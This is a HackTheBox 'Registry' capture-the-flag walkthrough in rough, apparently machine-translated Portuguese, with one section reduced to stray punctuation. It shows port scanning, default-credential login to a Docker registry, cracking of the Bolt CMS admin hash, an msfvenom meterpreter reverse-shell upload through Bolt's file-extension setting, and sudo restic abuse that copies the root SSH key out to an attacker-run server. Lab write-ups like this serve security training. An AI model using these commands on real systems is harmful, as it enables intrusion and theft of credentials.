Continuo publicando soluções enviadas para processamento adicional no site da HackTheBox . Espero que isso ajude pelo menos alguém a se desenvolver no campo da segurança da informação. Neste artigo, abordaremos o registro do docker, executaremos o RCE no CMS Bolt e aumentaremos os privilégios usando o programa de backup Restic.A conexão ao laboratório é via VPN. É recomendável não conectar-se a partir de um computador de trabalho ou de um host em que os dados importantes estejam disponíveis, pois você entra em uma rede privada com pessoas que sabem algo no campo da segurança da informação :)Informações Organizacionais, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
Recon
Esta máquina possui um endereço IP 10.10.10.159, que eu adiciono ao / etc / hosts.10.10.10.159 registry.htb
Primeiro, examinamos portas abertas. Como leva muito tempo para varrer todas as portas com o nmap, primeiro farei isso com o masscan. Examinamos todas as portas TCP e UDP da interface tun0 a uma velocidade de 1000 pacotes por segundo.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000
Agora, para obter informações mais detalhadas sobre os serviços que operam nas portas, executaremos uma varredura com a opção -A.nmap -A registry.htb -p22,80,443
O host tem 3 portas abertas, enquanto o certificado (porta 443) é para docker.registry.htb. Adicione-o ao / etc / hosts também.10.10.10.159 docker.registry.htb
Quando você passa para o registry.htb, somos recebidos pelo prompt nginx e, para o docker.registry.htb, vemos uma página em branco.Vamos iterar nos diretórios usando o gobuster. Nos parâmetros, indicamos o número de fluxos 128 (-t), URL (-u), dicionário (-w) e extensões que nos interessam (-x).gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
O Backup.php não nos fornece nada. Por exemplo, existe um site com o CMS Bolt e, na instalação, há algum arquivo, faça o download.wget http://registry.htb/install/ -O ind
E descobrimos que tipo de arquivo é esse.
Podemos ler “dados compactados com gzip” imediatamente.
Dessa forma, obtemos o certificado e os links para a documentação de referência da janela de encaixe.No caso de outro domínio, adicione a opção -k para ignorar a verificação do certificado.gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Agora vamos para o diretório v2 e somos atendidos pela autenticação.
E a combinação mais simples admin: admin nos dá acesso. O host executa o docker regisrty; portanto, como segue a seguir, vamos examinar seus repositórios no seguinte endereço: docker.registry.htb / v2 / _catalog .
E encontramos um repositório.
Vamos instalar a janela de encaixe e passar para a documentação de instalação do certificado.
Vá para o diretório / etc / docker e adicione o certificado do arquivo morto.sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt
Agora faça login na janela de encaixe.
Agora carregue a imagem.sudo docker pull docker.registry.htb:443/bolt-image:latest
E corra.sudo docker run -it docker.registry.htb:443/bolt-image:latest
E a primeira coisa que olhamos é o SSH. Felizmente, existe uma chave, bem como uma configuração, a partir da qual fica claro que nosso usuário é um parafuso.
Mas o problema é que a chave está criptografada. Isso significa que, quando conectados, eles solicitarão uma senha. O resultado é uma pesquisa nos arquivos pela string "pass".grep -i -r "pass" ./etc/
Este script solicita uma senha para descriptografar a chave. E a resposta é dada nela.
Conecte-se via ssh com a nossa chave.
Havia um arquivo backup.php no host, vamos dar uma olhada no que há nele.
É assim que o sudo é usado, e aparentemente sem senha. Mas parafuso requer uma senha.
Isso significa que precisamos obter o usuário do serviço. Como o CMS Bolt é usado, podemos acessar o banco de dados sqlite. Baixe.scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./
Vamos começar a trabalhar com o banco de dados.sqlite3 bolt.db
Vamos ver as mesas.
E obtenha as entradas da tabela bolt_users.
Portanto, temos um hash de administrador. Faça uma iteração usando o JTR.
Agora faça login no Bolt como administrador. E observamos a versão 3.6.4.
Existem explorações para esta versão.
A vulnerabilidade é que podemos adicionar à configuração a extensão do arquivo que precisamos baixar e fazer o upload do arquivo. Vamos criar um arquivo php com uma carga (eu digo antecipadamente que ele simplesmente não funcionou para se conectar novamente, para que a porta 4321 fosse encaminhada :) ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321
.msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
E execute o ouvinte.
Vamos passar por Configuração -> Configuração principal e adicionar a extensão php para poder baixar o arquivo.
Em seguida, vá para Gerenciamento de arquivos -> Carregar arquivos e adicione o arquivo. Depois de acessá-lo, veremos a conexão.
Inicie o shell bash, também observamos que estamos trabalhando em nome do usuário do serviço.
Vamos verificar o sudo, observe que o comando do backup.php pode ser executado no sudo sem uma senha.
Restic é um programa de backup escrito em Golang. Como podemos fazer um backup no sudo, podemos copiar todo o diretório raiz. Primeiro, vamos passar pela porta 8000.ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000
Instale e execute o restante do servidor (na postagem 8000 sem autenticação).
Vamos conectar e inicializar o backup (restr1).
Agora faça backup do diretório raiz.
O backup foi salvo na máquina local. Vamos ver todos os arquivos salvos. Encontre a chave SSH.restic -r /tmp/restic/restr1/ ls latest
Restaure.
Conectar
Temos acesso total ao sistema.Você pode se juntar a nós no Telegram . Lá você encontra materiais interessantes, cursos mesclados e softwares. Vamos montar uma comunidade na qual haverá pessoas versadas em muitas áreas da TI, para que possamos sempre ajudar-nos mutuamente em qualquer problema de segurança da informação e da TI.